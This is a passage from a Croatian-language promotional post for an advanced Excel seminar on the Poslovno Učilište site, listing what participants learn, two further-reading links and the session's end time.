  • saznat ćete kako samostalno raditi u Excelu točno one operacije koje vam trebaju bez nepotrebnog uvježbavanja funkcija i radnji koje nikada nećete zatrebati
  • naučit ćete koristiti alate koji vam lako, jednostavno i u malo vremena mogu pojasniti kako odraditi u Excelu ono što ne znate

Više o ovoj temi saznajte na:

https://poslovnouciliste.hr/microsoft-excel-trebamo-li-ga-se-bojati/

https://www.simplilearn.com/tutorials/excel-tutorial/excel-shortcuts

Trajanje seminara do 13:00h

The post Excel napredni stupanj first appeared on Poslovno Učilište.

]]>